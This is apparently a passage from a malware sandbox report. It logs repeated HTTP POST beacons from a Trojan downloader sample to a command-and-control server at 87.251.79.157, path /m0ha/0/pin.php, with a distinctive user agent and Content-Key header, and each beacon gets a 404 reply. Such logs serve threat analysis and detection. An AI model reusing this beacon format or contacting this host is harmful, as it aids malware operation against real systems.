Mar 15, 2021 20:01:12.111887932 CET	1161	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49826	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49710	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:12.375236988 CET	1161	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:12.661370993 CET	1162	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49711	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:12.929996967 CET	1163	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:13.460848093 CET	1163	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49712	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:13.736500025 CET	1164	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:14.088730097 CET	1165	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:13 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49713	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:14.345824003 CET	1165	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:14.636305094 CET	1166	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49714	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:14.911689997 CET	1167	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:15.317789078 CET	1167	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49715	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:15.558859110 CET	1168	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:15.838732958 CET	1169	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49697	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:00:59.912760019 CET	1134	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 192 Connection: close
Mar 15, 2021 20:01:00.844660997 CET	1134	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:00:59 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 15 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49716	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:16.089930058 CET	1169	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:16.392034054 CET	1170	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49717	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:16.657505989 CET	1171	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:16.946177006 CET	1171	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:16 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49718	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:17.197165012 CET	1172	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:17.449021101 CET	1173	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49719	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:17.695734024 CET	1173	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:17.987251043 CET	1174	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:17 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49720	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:18.244798899 CET	1175	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:18.718091965 CET	1175	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49721	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:18.964073896 CET	1176	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:19.322257996 CET	1177	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:18 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49722	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:19.791692972 CET	1177	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:20.117541075 CET	1178	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:19 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49723	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:20.361541986 CET	1179	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:20.618340969 CET	1179	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:20 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49724	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:21.004333973 CET	1180	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:21.287939072 CET	1181	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:21 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49725	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:22.062017918 CET	1181	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:23.039788008 CET	1182	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:22 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49698	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:01.352142096 CET	1135	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:01.791879892 CET	1136	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:01 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49726	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:23.293570042 CET	1183	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:25.291951895 CET	1183	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:23 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49727	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:25.581074953 CET	1184	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:26.542694092 CET	1185	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:25 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49728	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:26.790848017 CET	1185	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:27.122605085 CET	1186	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:26 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49729	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:27.364125967 CET	1187	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:27.610562086 CET	1188	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:27 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49730	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:27.852823019 CET	1188	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:28.146226883 CET	1189	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:27 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49731	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:28.400491953 CET	1190	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:28.677202940 CET	1190	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:28 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49732	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:28.911928892 CET	1191	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:29.195779085 CET	1192	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:28 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49733	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:29.450562000 CET	1192	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:29.706804037 CET	1193	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:29 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49734	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:29.958482027 CET	1194	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:30.265338898 CET	1194	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:29 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49735	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:30.516411066 CET	1195	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
Mar 15, 2021 20:01:30.769006014 CET	1196	IN	HTTP/1.0 404 Not Found Date: Mon, 15 Mar 2021 19:01:30 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49699	87.251.79.157	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownloaderNET.131.2724.exe

Timestamp	kBytes transferred	Direction	Data
Mar 15, 2021 20:01:02.461606026 CET	1136	OUT	POST /m0ha/0/pin.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 87.251.79.157 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 6DBE4C7C Content-Length: 165 Connection: close
